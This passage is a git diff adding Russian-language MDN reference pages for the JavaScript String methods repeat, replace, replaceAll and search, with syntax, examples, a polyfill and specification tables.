+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/template_strings">Шаблонные строки</a></li>
+ <li>{{jsxref("Global_Objects/String", "String")}}</li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar">Лексическая грамматика</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/repeat/index.html b/files/ru/web/javascript/reference/global_objects/string/repeat/index.html
new file mode 100644
index 0000000000..10a6507b6e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/repeat/index.html
@@ -0,0 +1,124 @@
+---
+title: String.prototype.repeat()
+slug: Web/JavaScript/Reference/Global_Objects/String/repeat
+tags:
+  - ECMAScript 2015
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat
+---
+<div>{{JSRef}}</div>
+
+<div>Метод <strong><code>repeat()</code></strong> конструирует и возвращает новую строку, содержащую указанное количество соединённых вместе копий строки, на которой он был вызван.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.repeat(<var>count</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>count</code></dt>
+ <dd>Целое число от 0 до +∞: [0, +∞), определяющее число повторений строки во вновь создаваемой и возвращаемой строке.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новая строка, содержащая указанное количество копий строки, для которой был вызван метод.</p>
+
+<h3 id="Throws" name="Throws">Исключения</h3>
+
+<ul>
+ <li>{{jsxref("Errors/Negative_repetition_count", "RangeError")}}: число повторений не должно быть отрицательным.</li>
+ <li>{{jsxref("Errors/Resulting_string_too_large", "RangeError")}}: число повторений должно быть меньше бесконечности и не должно превышать максимально допустимую длину строки.</li>
+</ul>
+
+<dl>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">'абв'.repeat(-1);   // RangeError
+'абв'.repeat(0);    // ''
+'абв'.repeat(1);    // 'абв'
+'абв'.repeat(2);    // 'абвабв'
+'абв'.repeat(3.5);  // 'абвабвабв' (количество будет преобразовано в целое число)
+'абв'.repeat(1/0);  // RangeError
+
+({ toString: () =&gt; 'абв', repeat: String.prototype.repeat }).repeat(2);
+// 'абвабв' (метод repeat() является обобщённым методом)
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод был добавлен к спецификации ECMAScript 2015 и может быть доступен ещё не во всех реализациях JavaScript. Однако, вы можете легко эмулировать этот метод при помощи следующего кода:</p>
+
+<pre class="brush: js">if (!String.prototype.repeat) {
+  String.prototype.repeat = function(count) {
+    'use strict';
+    if (this == null) {
+      throw new TypeError('can\'t convert ' + this + ' to object');
+    }
+    var str = '' + this;
+    count = +count;
+    if (count != count) {
+      count = 0;
+    }
+    if (count &lt; 0) {
+      throw new RangeError('repeat count must be non-negative');
+    }
+    if (count == Infinity) {
+      throw new RangeError('repeat count must be less than infinity');
+    }
+    count = Math.floor(count);
+    if (str.length == 0 || count == 0) {
+      return '';
+    }
+    // Обеспечение того, что count является 31-битным целым числом, позволяет нам значительно
+    // соптимизировать главную часть функции. Впрочем, большинство современных (на август
+    // 2014 года) браузеров не обрабатывают строки, длиннее 1 &lt;&lt; 28 символов, так что:
+    if (str.length * count &gt;= 1 &lt;&lt; 28) {
+      throw new RangeError('repeat count must not overflow maximum string size');
+    }
+    var rpt = '';
+    for (var i = 0; i &lt; count; i++) {
+      rpt += str;
+    }
+    return rpt;
+  }
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.repeat")}}</p>
diff --git a/files/ru/web/javascript/reference/global_objects/string/replace/index.html b/files/ru/web/javascript/reference/global_objects/string/replace/index.html
new file mode 100644
index 0000000000..debc32cf40
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/replace/index.html
@@ -0,0 +1,289 @@
+---
+title: String.prototype.replace()
+slug: Web/JavaScript/Reference/Global_Objects/String/replace
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/String/replace
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>replace()</code></strong> возвращает новую строку с некоторыми или всеми сопоставлениями с шаблоном, заменёнными на заменитель. Шаблон может быть строкой или {{jsxref("Global_Objects/RegExp", "регулярным выражением", "", 1)}}, а заменитель может быть строкой или функцией, вызываемой при каждом сопоставлении.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.replace(<var>regexp</var>|<var>substr</var>, <var>newSubStr</var>|<var>function</var>[, <var>flags</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>Объект регулярного выражения {{jsxref("Global_Objects/RegExp", "RegExp")}}. Сопоставление заменяется возвращаемым значением второго параметра.</dd>
+ <dt><code>substr</code></dt>
+ <dd>{{jsxref("Global_Objects/String", "Строка", "", 1)}}, заменяемая на <code>newSubStr</code>. Обратите внимание, будет заменено только первое вхождение искомой строки.</dd>
+ <dt><code>newSubStr</code></dt>
+ <dd>{{jsxref("Global_Objects/String", "Строка", "", 1)}}, заменяющая подстроку из первого параметра. Поддерживает несколько специальных шаблонов замены; смотрите ниже раздел <a href="#Specifying_a_string_as_a_parameter">Передача строки в качестве второго параметра</a>.</dd>
+ <dt><code>function</code></dt>
+ <dd>Функция, вызываемая для создания новой подстроки (помещаемой вместо подстроки из первого параметра). Аргументы, передаваемые функции, описаны ниже в разделе <a href="#Specifying_a_function_as_a_parameter">Передача функции в качестве второго параметра</a>.</dd>
+ <dt><code>flags</code> {{non-standard_inline}}</dt>
+ <dd>
+ <p><strong>Обратите внимание: аргумент <code>flags</code> не работает в ядре v8 (движок JavaScript в Chrome и NodeJs).</strong> Строка, задающая комбинацию <a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions#Advanced_Searching_With_Flags">флагов регулярного выражения</a>. Параметр <code>flags</code> в методе <code>String.prototype.replace()</code> является нестандартным расширением. Вместо использования этого параметра используйте объект {{jsxref("Global_Objects/RegExp", "RegExp")}} с соответствующими флагами. Значение этого параметра, если он используется, должно быть строкой, состоящей из одного или более следующих символов, следующим образом влияющих на обработку регулярного выражения:</p>
+
+ <dl>
+  <dt><code>g</code></dt>
+  <dd>глобальное сопоставление</dd>
+  <dt><code>i</code></dt>
+  <dd>игнорировать регистр</dd>
+  <dt><code>m</code></dt>
+  <dd>сопоставление по нескольким строкам</dd>
+  <dt><code>y</code> {{experimental_inline}}</dt>
+  <dd>«липкий» поиск, сопоставление начинается с текущей позиции в строке</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Новая строка с некоторыми или всеми сопоставлениями шаблона, заменёнными на заменитель.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Этот метод не изменяет объект {{jsxref("Global_Objects/String", "String")}}, на котором он вызывается. Он просто возвращает новую строку.</p>
+
+<p>Для выполнения глобального поиска и замены либо включите флаг <code>g</code> в регулярное выражение, либо, если первый параметр является строкой, включите флаг <code>g</code> в параметр <code>flags</code>.</p>
+
+<h3 id="Specifying_a_string_as_a_parameter" name="Specifying_a_string_as_a_parameter">Передача строки в качестве второго параметра</h3>
+
+<p>строка замены может включать следующие специальные шаблоны замены:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Шаблон</td>
+   <td class="header">Замена</td>
+  </tr>
+  <tr>
+   <td><code>$$</code></td>
+   <td>Вставляет символ доллара «$».</td>
+  </tr>
+  <tr>
+   <td><code>$&amp;</code></td>
+   <td>Вставляет сопоставившуюся подстроку.</td>
+  </tr>
+  <tr>
+   <td><code>$`</code></td>
+   <td>Вставляет часть строки, предшествующую сопоставившейся подстроке.</td>
+  </tr>
+  <tr>
+   <td><code>$'</code></td>
+   <td>Вставляет часть строки, следующую за сопоставившейся подстрокой.</td>
+  </tr>
+  <tr>
+   <td><code>$<em>n</em></code> или <code>$<em>nn</em></code></td>
+   <td>Символы <code><em>n</em></code> или <code><em>nn</em></code> являются десятичными цифрами, вставляет <em>n</em>-ную сопоставившуются подгруппу из объекта {{jsxref("Global_Objects/RegExp", "RegExp")}} в первом параметре.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Specifying_a_function_as_a_parameter" name="Specifying_a_function_as_a_parameter">Передача функции в качестве второго параметра</h3>
+
+<p>В качестве второго параметра вы можете передать функцию. В этом случае функция будет выполнена после произошедшего сопоставления. Результат вызова функции (её возвращаемое значение) будет использоваться в качестве строки замены (обратите внимание: описанные выше специальные шаблоны замены в этом случае <em>не</em> применяются). Обратите внимание, что функция будет вызвана несколько раз для каждого полного сопоставления, если регулярное выражение в первом параметре является глобальным.</p>
+
+<p>Функция принимает следующие аргументы:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Возможное имя</td>
+   <td class="header">Получаемое значение</td>
+  </tr>
+  <tr>
+   <td><code>match</code></td>
+   <td>Сопоставившаяся подстрока (cоответствует шаблону замены <code>$&amp;</code>, описанному выше).</td>
+  </tr>
+  <tr>
+   <td><code>p1, p2, ...</code></td>
+   <td><em>n</em>-ная сопоставившаяся подгруппа из объекта {{jsxref("Global_Objects/RegExp", "RegExp")}} в первом параметре метода <code>replace()</code> (cоответствует шаблонам замены <code>$1</code>, <code>$2</code> и так далее, описанным выше). Например, если в качестве шаблона передано регулярное выражение <code>/(\a+)(\b+)/</code>, параметр <code>p1</code> будет значение сопоставления с подгруппой <code>\a+</code>, а параметр <code>p2</code> — с подгруппой <code>\b+</code>.</td>
+  </tr>
+  <tr>
+   <td><code>offset</code></td>
+   <td>Смещение сопоставившейся подстроки внутри всей рассматриваемой строки (например, если вся строка равна <code>'abcd'</code>, а сопоставившаяся подстрока равна <code>'bc'</code>, то этот аргумент будет равен 1).</td>
+  </tr>
+  <tr>
+   <td><code>string</code></td>
+   <td>Вся рассматриваемая строка.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Точное число аргументов будет зависеть от того, был ли первым аргументом объект {{jsxref("Global_Objects/RegExp", "RegExp")}} и, если был, сколько подгрупп в нём определено.</p>
+
+<p>Следующий пример установит переменную <code>newString</code> в значение <code>'abc - 12345 - #$*%'</code>:</p>
+
+<pre class="brush: js">function replacer(match, p1, p2, p3, offset, string) {
+  // p1 - не цифры, p2 - цифры, p3 - не буквы и не цифры
+  return [p1, p2, p3].join(' - ');
+}
+var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer);
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_global_and_ignore_with_replace" name="Example:_Using_global_and_ignore_with_replace">Пример: использование флагов <code>global</code> и <code>ignore</code> с методом <code>replace()</code></h3>
+
+<p>В следующем примере регулярное выражение включает флаги для глобального поиска и игнорирования регистра, которые позволяют методу <code>replace()</code> заменить все вхождения слова «яблоки» в строке на слово «апельсины».</p>
+
+<pre class="brush: js">var re = /яблоки/gi;
+var str = 'Яблоки круглые и яблоки сочные.';
+var newstr = str.replace(re, 'апельсины');
+console.log(newstr); // апельсины круглые и апельсины сочные.
+</pre>
+
+<h3 id="Example_Defining_the_regular_expression_in_replace" name="Example:_Defining_the_regular_expression_in_replace">Пример: передача регулярного выражения в метод <code>replace()</code></h3>
+
+<p>В следующем примере в метод <code>replace()</code> передаётся регулярное выражение вместе с флагом игнорирования регистра.</p>
+
+<pre class="brush: js">// Ночь перед Рождеством, Xmas - сокращение для Christmas
+var str = 'Twas the night before Xmas...';
+var newstr = str.replace(/xmas/i, 'Christmas');
+console.log(newstr); // Twas the night before Christmas...
+</pre>
+
+<p>Пример выведет строку 'Twas the night before Christmas...'</p>
+
+<h3 id="Example_Switching_words_in_a_string" name="Example:_Switching_words_in_a_string">Пример: смена местами слов в строке</h3>
+
+<p>Следующий скрипт меняет местами слова в строке. В качестве текста замены он использует шаблоны замены <code>$1</code> и <code>$2</code>.</p>
+
+<pre class="brush: js">var re = /([А-ЯЁа-яё]+)\s([А-ЯЁа-яё]+)/;
+var str = 'Джон Смит';
+var newstr = str.replace(re, '$2, $1');
+console.log(newstr); // Смит, Джон
+</pre>
+
+<p>Пример выведет строку 'Смит, Джон'.</p>
+
+<h3 id="Example_Using_an_inline_function_that_modifies_the_matched_characters" name="Example:_Using_an_inline_function_that_modifies_the_matched_characters">Пример: использование функции для изменения сопоставившихся символов</h3>
+
+<p>В этом примере все входящие в строку (латинские) буквы в верхнем регистре преобразуются в нижний регистр, а перед самой буквой вставляется дефис. Здесь важно то, что прежде чем элемент вставится в качестве замены, над ним нужно провести дополнительные преобразования.</p>
+
+<p>Функция замены своим параметром принимает сопоставившийся кусок и перед возвратом использует его для преобразования регистра и соединения с дефисом.</p>
+
+<pre class="brush: js">function styleHyphenFormat(propertyName) {
+  function upperToHyphenLower(match) {
+    return '-' + match.toLowerCase();
+  }
+  return propertyName.replace(/[A-Z]/g, upperToHyphenLower);
+}
+</pre>
+
+<p>Вызов <code>styleHyphenFormat('borderTop')</code> вернёт строку 'border-top'.</p>
+
+<p>Поскольку мы хотим провести дополнительные преобразования <em>результата</em> сопоставления до того, как будет использована окончательная подстановка, мы должны использовать функцию. Это заставляет нас принудительно вычислить сопоставление перед использование метода {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}. Если бы мы попытались использовать сопоставление без функции, метод {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} не сработал бы.</p>
+
+<pre class="brush: js">var newString = propertyName.replace(/[A-Z]/g, '-' + '$&amp;'.toLowerCase());  // не работает
+</pre>
+
+<p>Происходит это потому, что сначала часть <code>'$&amp;'.toLowerCase()</code> вычисляется в строковый литерал (результат по-прежнему равен <code>'$&amp;'</code>), а только потом его символы используются в качестве шаблона.</p>
+
+<h3 id="Example_Replacing_a_Fahrenheit_degree_with_its_Celsius_equivalent" name="Example:_Replacing_a_Fahrenheit_degree_with_its_Celsius_equivalent">Пример: замена градусов по Фаренгейту на эквивалент в градусах по Цельсию</h3>
+
+<p>В следующем примере градусы по Фаренгейту заменяются на эквивалентные градусы по Цельсию. Градусы по Фаренгейту должны быть числом, оканчивающимся на букву F. Функция возвращает количество градусов по Цельсию, оканчивающиеся на букву C. Например, если входное число равняется 212F, функция вернёт 100C. Если число равняется 0F, функция вернёт -17.77777777777778C.</p>
+
+<p>Регулярное выражение <code>test</code> сопоставляется с любым числом, оканчивающимся на букву F. Количество градусов по Фаренгейту передаётся в функцию через её второй параметр, <code>p1</code>. Функция переводит градусы по Фаренгейту, переданные в виде строки в функцию code&gt;f2c(), в градусы по Цельсию. Затем функция <code>f2c()</code> возвращает количество градусов по Цельсию. Эта функция работает примерно так же, как и флаг <code>s///e</code> в Perl.</p>
+
+<pre class="brush: js">function f2c(x) {
+  function convert(str, p1, offset, s) {
+    return ((p1 - 32) * 5/9) + 'C';
+  }
+  var s = String(x);
+  var test = /(\d+(?:\.\d*)?)F\b/g;
+  return s.replace(test, convert);
+}
+</pre>
+
+<h3 id="Example_Use_an_inline_function_with_a_regular_expression_to_avoid_for_loops" name="Example: Use an inline function with a regular expression to avoid for loops">Пример: использование функции вместе с регулярным выражением для избавления от цикла <code>for</code></h3>
+
+<p>Следующий пример принимает строку шаблона и преобразует её в массив объектов.</p>
+
+<p><strong>Входные данные:</strong></p>
+
+<p>Строка, состоящая из символов <code>x</code>, <code>-</code> и <code>_</code></p>
+
+<pre>x-x_
+x---x---x---x---
+x-xxx-xx-x-
+x_x_x___x___x___
+</pre>
+
+<p><strong>Выходные данные:</strong></p>
+
+<p>Массив объектов. Символ <code>'x'</code> означает состояние <code>'on'</code>, символ <code>'-'</code> (дефис) означает состояние <code>'off'</code>, а символ <code>'_'</code> (нижнее подчёркивание) означает продолжительность состояния <code>'on'</code>.</p>
+
+<pre class="brush: json">[
+  { on: true, length: 1 },
+  { on: false, length: 1 },
+  { on: true, length: 2 }
+  ...
+]
+</pre>
+
+<p><strong>Код:</strong></p>
+
+<pre class="brush: js">var str = 'x-x_';
+var retArr = [];
+str.replace(/(x_*)|(-)/g, function(match, p1, p2) {
+  if (p1) { retArr.push({ on: true, length: p1.length }); }
+  if (p2) { retArr.push({ on: false, length: 1 }); }
+});
+
+console.log(retArr);
+</pre>
+
+<p>Этот код сгенерирует массив из трёх объектов в описанном формате без использования цикла <code>for</code>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.11', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.replace', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.String.replace")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html
new file mode 100644
index 0000000000..f938fefb64
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html
@@ -0,0 +1,167 @@
+---
+title: String.prototype.replaceAll()
+slug: Web/JavaScript/Reference/Global_Objects/String/replaceAll
+translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">Метод <strong><code>replaceAll()</code></strong> возвращает новую строку со всеми совпадениями <code>pattern</code> , который меняется на <code>replacement</code>. </span><code>pattern</code> может быть строкой или регулярным выражением, и <code>replacement</code> может быть строкой или функция возвращающая каждое совпадение.</p>
+
+<p>Исходная строка остается без изменений.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-replaceall.html")}}</div>
+
+<p class="hidden">Исходник этого интерактивного примера находится в GitHub репозитории. Если бы вы хотели внести свой вклад в создание интерактивных примеров для проекта, пожалуйста клонируйте ссылку <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отпрвате нам pull request.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">const newStr = <var>str</var>.replaceAll(<var>regexp</var>|<var>substr</var>, <var>newSubstr</var>|<var>function</var>)
+</pre>
+
+<div class="blockIndicator note">
+<p>Когда вы используете `<var>regexp</var>` вы должны установить флаг глобального поиска ("g"), иначе вернется ошибка <code>TypeError</code>: "replaceAll must be called with a global RegExp".</p>
+</div>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code><var>regexp</var></code> (pattern)</dt>
+ <dd>Регулярное выражение или буква с глобальным флагом поиска ("g"). Совпадения меняются на <code><var>newSubstr</var></code> или значени возвращенное указанной функцией <code><var>function</var></code>. A RegExp без глобального флага поиска ("g") вернет ошибку <code>TypeError</code>: "replaceAll must be called with a global RegExp".</dd>
+ <dt><code><var>substr</var></code></dt>
+ <dd>Подстрока, которая заменится <code><var>newSubstr</var></code>. Обрабатывается как буквенная строка, не интерпретируется как регулярное выражение.</dd>
+ <dt><code><var>newSubstr</var></code> (replacement)</dt>
+ <dd>Новая строка, которая заменяет найденные подстроки указанные в <code><var>regexp</var></code> или <code><var>substr</var></code> парамерах. Поддерживается ряд специальных шаблонов замены; смотрите "<a href="#Specifying_a_string_as_a_parameter">Specifying a string as a parameter</a>" блок ниже.</dd>
+ <dt><code><var>function</var></code> (replacement)</dt>
+ <dd>Функция вызванная при создании новой строки которая используется для замены совпадений указанных в <code><var>regexp</var></code> or <code><var>substr</var></code>. Аргументы применяемы в этой функции описываются в "<a href="#Specifying_a_function_as_a_parameter">Specifying a function as a parameter</a>" блок ниже.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Новая строка, в которой все совпадения замены на уазанную подстроку или специальный шаблон.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Этот метод не изменяет исходную строку. Он просто возвращает новую.</p>
+
+<h3 id="Указание_строки_в_качестве_параметра">Указание строки в качестве параметра</h3>
+
+<p>Замененная строка может включатся в следующие специальные шаблоны:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col">Pattern</th>
+   <th class="header" scope="col">Inserts</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>$$</code></td>
+   <td>Вставляет <code>"$"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>$&amp;</code></td>
+   <td>Вставлет совпадения.</td>
+  </tr>
+  <tr>
+   <td><code>$`</code></td>
+   <td>Вставляет часть строки которая находится перед совпадениями (строка соответствующая шаблону).</td>
+  </tr>
+  <tr>
+   <td><code>$'</code></td>
+   <td>Вставляет часть строки которая следует после совпадения (строка соответствующая шаблону).</td>
+  </tr>
+  <tr>
+   <td><code>$<var>n</var></code></td>
+   <td>Где <code><var>n</var></code> положительное цело число меньше чем 100, вставляет  <code><var>n</var></code>th строки указанные в скобках, частичные совпадения, при условии, что первый аргумент был {{jsxref("RegExp")}} object. Обратите внимание, что это 1-индексированный.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Указание_функции_в_качестве_параметра">Указание функции в качестве параметра</h3>
+
+<p>Вы можете передать функцию вторым параметром. Вэтом случае, функция вызывается полсе нахождения совпадений. Результат функции может быть использованна как замещающая строка. (<strong>Внимание:</strong> Выше упомянутые специальные шаблоны замены в данном случае неприменимы.)</p>
+
+<p>Функция может быть вызвана многократно для каждого замененного совпадения, если регудярное выражение указано с глобальным влагом("g").</p>
+
+<p>Функция имеет следующие аргументы:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col">Possible name</th>
+   <th class="header" scope="col">Supplied value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>match</code></td>
+   <td>Найденная построка. (Соответствуетt <code>$&amp;</code> указанному выше)</td>
+  </tr>
+  <tr>
+   <td><code>p1, p2, ...</code></td>
+   <td><var>n</var>th количество строк найденых групповыми скобками указанные первым параметром в регулярном выражении. (Соответствует  <code>$1</code>, <code>$2</code>, см. выше) Для примера, если <code>/(\a+)(\b+)/</code>, то <code>p1</code> это <code>\a+</code>, а <code>p2</code> это<code>\b+</code>.</td>
+  </tr>
+  <tr>
+   <td><code>offset</code></td>
+   <td>Смещение совпадающей подстроки в пределах всей исследуемой строки. (Например, если вся строка была 'abcd', а соответствующая подстрока была 'bc', то этот аргумент будет равен 1.)</td>
+  </tr>
+  <tr>
+   <td><code>string</code></td>
+   <td>Исследуется вся цепочка.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>(Точное количество аргументов зависит от того, является ли первый аргумент регулярным выражением — и, если да, то аргументов будет столько сколько указанно в скобках.)</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_replaceAll">Using replaceAll</h3>
+
+<pre class="brush: js notranslate">'aabbcc'.replaceAll('b', '.');
+// 'aa..cc'</pre>
+
+<h3 id="Non-global_regex_throws">Non-global regex throws</h3>
+
+<p>Поиск с регулярными выражениями должен быть с ("g"). Это не работает:</p>
+
+<pre class="brush: js; example-bad notranslate">'aabbcc'.replaceAll(/b/, '.');
+TypeError: replaceAll must be called with a global RegExp
+</pre>
+
+<p>Это работает:</p>
+
+<pre class="brush: js; example-good notranslate">'aabbcc'.replaceAll(/b/g, '.');
+"aa..cc"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.replaceall', 'String.prototype.replaceAll')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.replaceAll")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.replace", "String.prototype.replace()")}}</li>
+ <li>{{jsxref("String.prototype.match", "String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec", "RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test", "RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/search/index.html b/files/ru/web/javascript/reference/global_objects/string/search/index.html
new file mode 100644
index 0000000000..7900ac98a0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/search/index.html
@@ -0,0 +1,149 @@
+---
+title: String.prototype.search()
+slug: Web/JavaScript/Reference/Global_Objects/String/search
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/String/search
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>search()</code></strong> выполняет поиск сопоставления между регулярным выражением и этим объектом {{jsxref("Global_Objects/String", "String")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>str</var>.search([<var>regexp</var>])</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>Необязательный параметр. Объект регулярного выражения. Если будет передан не объект регулярного выражения, он будет неявно преобразован в объект {{jsxref("Global_Objects/RegExp", "RegExp")}} через вызов конструктора <code>new RegExp(regexp)</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>При успехе метод <code>search()</code> возвращает индекс первого сопоставления с регулярным выражением внутри строки. В противном случае метод вернёт -1.</p>
+
+<p>Если вы хотите узнать, находится ли шаблон в строке, используйте метод <code>search()</code> (он работает почти так же, как и метод {{jsxref("RegExp.prototype.test()", "test()")}} регулярного выражения, но вместо наличия подстроки возвращает её индекс); для получения дополнительной информации (за счёт более медленного выполнения) используйте метод {{jsxref("String.prototype.match()", "match()")}} (работает так же, как метод {{jsxref("RegExp.prototype.exec()", "exec()")}} регулярного выражения).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_search" name="Example:_Using_search">Пример: использование метода <code>search()</code></h3>
+
+<p>В следующем примере в журнал попадает сообщение, зависящее от успешности или неуспешности прохождения проверки.</p>
+
+<pre class="brush: js">function testInput(re, str) {
+  var midstring;
+  if (str.search(re) != -1) {
+    midstring = ' содержит ';
+  } else {
+    midstring = ' не содержит ';
+  }
+  console.log(str + midstring + re);
+}
+
+var testString  = 'hey JuDe';
+var re = /[A-Z]/g;
+
+testInput(re, testString); // выведет: hey Jude содержит /[A-Z]/g
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.12', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
